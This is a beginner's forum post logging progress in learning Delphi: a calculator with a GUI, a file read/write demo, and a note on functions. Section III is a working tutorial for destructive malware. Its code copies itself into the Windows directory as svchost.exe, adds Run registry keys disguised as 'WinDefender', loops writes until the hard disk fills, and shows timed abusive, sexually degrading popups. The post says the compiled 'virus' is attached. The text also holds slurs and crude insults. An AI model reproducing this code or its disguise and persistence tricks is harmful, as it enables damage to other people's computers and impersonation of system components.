Delphi (Object Pascal) - Little Nooblet"s corner :)

c, c++, php, html, sql ..etc discussion. also includes codes and source codes.
Post Reply
Ritterkreuzträger
Allie
Allie
Posts: 105
Joined: Tue Jan 12, 2010 2:59 pm

Delphi (Object Pascal) - Little Nooblet"s corner :)

Post by Ritterkreuzträger »

Im not guru at Delphi or any other language(ASM or html... or English =D), just beginner. Actually i was studying Delphi for 2 days only(not whole ones of course), depends on my enthusiasm and lazyness. Now looks like i finally lost lazyness and have an enthusiasm. And enough free time :) So i will post in to this thread from time to time some stuff about my progress and so on.
Basic stuff first.
First time the Delphi was called as Object Pascal("Evolution" of original pascal.Also the original developer till Delphi7 was Borland), but after Delphi7 was released the name was officially changed to Delphi.
There are two most used compilers\tools for Delphi:
CodeGear 2010(Embarcadero"s RAD Studio) - latest one, but isnt the best. Well, Delphi 2010 have a little more functions and commands, but its not making any sense for me,nor for professional programmers. The main feature which i really like it is InWork syntax check (like in MS-Word :) ). Also, not far i was prefer CodeGear 2010 to Delphi7, but when i met up with GUI-based proggies, ive started thinking how gay CodeGear is.
Borland"s Delphi 7.0 - not the latest one, but the best. It is has nice small GUI (Unlike CodeGear, which have GUI like MS-shitstudio), and it is have a forms. Yes, CodeGear have them too, but wait, because of this GAY GUI i cant even find out where they are. And in addition i want to say, by unknown reason projects compiled by CodeGear have a 2x more size! Which is lame.
And also some words about Delphi at all: the main pros - more "beautiful" (Because there arent this uggly {...\\Blah// } from C and so on) which makes it more easy, high compatibility(MSWin x86,x64 and probably *nix i think) because its not using system packages like C++ Runtime framework and .NET, it is putting in all the needed from "uses" section into yourself. As about cons... I dont know a one :) Only probably a little bigger size because of "inbuilt packages", but its doesnt make much sense for me.
//////////////////
|. GUI Based application.
II. Application which uses 3rd party file
III. Operations with files. Registry editing. My little "virus".
IV. Function thingie.
//////////////////

I
Today"s(28.05.2010) my first proggie with GUI.
Image
Lets have a look at source code. Calculator part.
So, for number-setter we are using Delphi SAMPLE tab, SpinEdit. Logically, thing right to label1(with caption Number #1) it SpinEdit1, and right to Number #2 is SpinEdit2. Left to Result label there are empty label, which is using to show off the result. Lets have a look at Substract button"s source:

Code: Select all

procedure TForm1.minus(Sender: TObject);
begin
Label4.Caption := IntToStr(SpinEdit1.Value - SpinEdit2.Value);
end;
The procedure"s name is minus, but it doesnt matter, i can call it as i want, ilovevodka or whatever.
Lebel4.Caption := blahblah. Caption is the same what TEXT for "Edit". And yes, Label4 is an empty label after result :) IntToStr is just one of the commands which you have to remember. SpinEdit1.Value - just SpinEdit doesnt using text or caption, only numbers so it is Value.
Same for addition, multiply, but + and *. For dividing you can not use / in such opperations, you have to write down "div" instead of /. And you can be in interest, probably, so ill give you a code of div part, there are also an error with div by zero.

Code: Select all

procedure TForm1.divide(Sender: TObject);
begin
try
Label4.Caption := IntToStr(SpinEdit1.Value div SpinEdit2.Value);
Except
On EDivByZero do
MessageBox(Application.Handle,`You may div by zero whole the world, dont do it`,`Fatal error, MB_OK);
end;
end;
Create text file part.
Well, when i was developing this application i have no target at making it useful, im only studying right now.
First, huge window is not an "Edit" as you may thought, it is meme(ive laught out of loud when ive heard it :D). Means "text editor". Well actually its can be done with "Edit", but this is a little bit easier.

Code: Select all

procedure TForm1.FileCreate(Sender: TObject);
begin
Inside.Lines.SaveToFile(Edit2.text);
end;
Inside is a meme"s name ive given it to. Edit2.text is a thing with Filename on screenshot.

Code: Select all

procedure TForm1.AutoLaunch(Sender: TObject);
begin
repeat
sleep(SpinEdit3.Value * 1000);
ShellExecute(Handle, `open`, PChar(Edit1.text), nil, nil, SW_SHOW);
until CheckBox1.Checked = false;
end;
May looks easy, but i spend a fucking hour on it. Ive tried a 4 ways to make it allign to checkbox, with While ... Do, if checked blahblah, cant remember.
On screenshot you can see the "In seconds" thing. But Delphi is using mil.seconds. I am a genius and how i did it - SpinEdit3.Value multiplied by 1000, since milsecond - one of 1000 for second.
Untill CheckBox1.Checked = false; The Checked indefiner is a BOOLEAN (00000000 is false, anything else is true), so its true of false.
The hardest part. Exit button.

Code: Select all

procedure TForm1.Exit(Sender: TObject);
begin
close;
end;
Proggie and its source in attachment.
Also, as an example of Borland Delphi superioty over RAD Studio - when ive compiled it with Borland Delphi, it was 415kb. When ive compiled it with CodeGear it was 855kb.
II
Image
So, just made a program which can load the data from generated text file. Well, two programs, one reads another generates.
Data File Generator - NoGUI, "console" application. Well, it is not means application, all the options in the code.

Code: Select all

program INICreate;
uses
  SysUtils,
  Classes;

type
   TDB = Record
     ValueOne : Integer;
     ValueTwo : Integer;
   end;
 
 var
   myFile   : File of TDB;
   DBTest   : TDB ;
 
 begin
   AssignFile(myFile, 'DBTest.ini');
   ReWrite(myFile);
   DBTest.ValueOne := 500;
   DBTest.ValueTwo := 1000;
   write(MyFile, DBTest);
   CloseFile(myFile);
   end.
So its creates a file with name DBTest.ini and stuff in it: DBTest.ValueOne and DBTest.ValueTwo. I was a little surprised when i saw how it is working,i was sure what it will create something cool-looking like "DBTest.ValueOne = 500", but it is just a data file, cant really describe by words, but you can see an attachment with screen.
Calculator, which takes numbers from generated data-file.
First, it is important to use same type names and vars.
Since im using the button load to initialize the file, the code is a bit another:

Code: Select all

procedure TForm1.LoadConfig(Sender: TObject);
type
   TDB = Record
     ValueOne : Integer;
     ValueTwo : Integer;
   end;
   var
   myFile   : File of TDB;
   DBTest   : TDB ;
...................................
It is put into the procedure part, because i dont want to mess it up with whole program.
Continue of the previous code:

Code: Select all

begin
 AssignFile(myFile, Edit1.Text);
  FileMode := fmOpenRead;
   Reset(myFile);
  while not Eof(myFile) do
  try
     Read(myFile, DBTest);
     SpinEdit1.Value := DBTest.ValueOne;
     SpinEdit2.Value := DBTest.ValueTwo;
     CloseFile(myFile);
  Except
  end;
end;
AssignFile assigns MyFile to the filename.
FileMode is the way how the file is opened. fmOpenRead means it can be read only, so the program wont corrupt the file.
EOF - End Of File.
Both programs and theirs sources in attachment too.
III
Not really the virus, that is exactly "malicious" program. It is can not steal any info from computer, it is can not give a control over it of any kind, it is can rape someones PC only.
First thing, the malicious program most "drops" somewhere. If it is not, then it is just stupid and gay.
It is quite easy in Delphi:

Code: Select all

var
WinDir: array[0..MAX_PATH +1] of char;
begin
GetWindowsDirectory(WinDir,MAX_PATH);
CopyFile('EvilVirus.exe', PChar(WinDir +'/svchost.exe'), true);
In first line of begin we are getting the WinDir(Windows Directory) and write it as WinDir var, so we can use it in future.
'EvilVirus.exe' - name of one of files which is in the same directory with our "virus". Well, he is copying itself to Windows directory as svchost.exe
And now we have to add it to StartUp. Right now i know only one way to do it(Well, there are also ActiveX way, but i dont know how to do it) - via registry. We will use TRegIniFile. (Also can be used for config-INI files)

Code: Select all

procedure RegStartUp;
var
EvilStartUp: TRegIniFile;
begin
EvilStartUp:=TRegIniFile.Create('USSR');
EvilStartUp.Rootkey:=HKEY_LOCAL_MACHINE;
EvilStartUp.WriteString('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'WinDefender', WinDir +'/svchost.exe');
EvilStartUp.Free;
EvilStartUp:=TRegIniFile.Create('USSR2');
EvilStartUp.Rootkey:=HKEY_CURRENT_USER;
EvilStartUp.WriteString('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'WinDefender', WinDir +'/svchost.exe');
EvilStartUp.Free;
end;
begin
..........
RegStartUp;
.Create is some indefiner for whole the thread. Since from XP to Seven keyways are same, we dont have to do any operations with it(But for ME it is Windows NT). It is creating key in HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE to the startup section a key named WinDefender with way to our dropped file. After this, we will use this procedure(function for "C"ers) in the main begin part, just as "RegStartUp".
The malicious part - fucking up the HDD.

Code: Select all

Procedure RapeHddHardly;
var
RaepFile: Textfile;
Type
RapeFileName = 900000..900000000;
begin
AssignFile(RaepFile, PChar(WinDir + '/Data.dat'));
ReWrite(RaepFile);
Repeat
WriteLn(RaepFile, RapeFileName(Random(5642)));
until false;
end;
It is creating the file with name Data.dat and writing in number numbers with range from 900000-900000000000. There are no really point at random numbers, just to make file looks more real when opened. And the way with just one HUGE number will be a little faster. How fast the HDD get owned is depends of user"s computer"s performance. On mine it was 500mb for 20 seconds, on VMWare it is only 400mb for minute. Also about VMWare, by some reasons its not dropping out, but it is not Windows, something wrong with VMWare itself.
There are also not built-in part, you have to use TTImer to make it work properly, abusive messages with time :) :

Code: Select all

procedure Youarecock;
const
msg1 = 'You are dick. And virgin, looser at all.';
msg2 = 'You can cry, but you will get raped to ass soon.';
msg3 = 'Hello! My name is Lena, i have got huge tits and i want you hardly! I want wild sex with you NOW!! Joking, no one want such ugly nerd like you.';
begin
sleep(1000 * 60 * 15);
ShowMessage(msg3);
sleep(1000 * 60 * 15);
ShowMessage(msg2);
sleep(1000 * 60 * 15);
ShowMessage(msg1);
sleep(1000 * 60 * 15);
end;
Source code and the "virus" itself(you can launch and have fun :D) in attachment.
IV
May be surprise for some people, but i always was only guessing whats the difference between procedure and function in Delphi(What is procedure you can see in previous ones). Now i get it, but i dont think it is useful at all.

Code: Select all

program FunctionTest;

{$APPTYPE CONSOLE}

uses
  SysUtils;
function PlusNPlus(n1, n2: Integer):Integer;
var
sum: Integer;
begin
sum:= n1 + n2;
Write(sum);
end;
begin
PlusNPlus(11, 50);
sleep(5000);
end.
(n1, n2: integer) is just like vars, it is means "return values". Can be useful only in some maths purposes when you have to do some algebraic operation huge amounts of time.
No point at including source code or something.
Also, one thing, not related to "function", related to "procedure". There are a "constructor" thing, which is same thing as procedure, but most be used with action "Create". For example:

Code: Select all

constructor TTimer1.Create
Attachments

[The extension 7z has been deactivated and can no longer be displayed.]

This is how the DB file with 2 lines looks
This is how the DB file with 2 lines looks
GayLike.jpg (1.51 KiB) Viewed 7023 times

[The extension 7z has been deactivated and can no longer be displayed.]

[The extension 7z has been deactivated and can no longer be displayed.]

Post Reply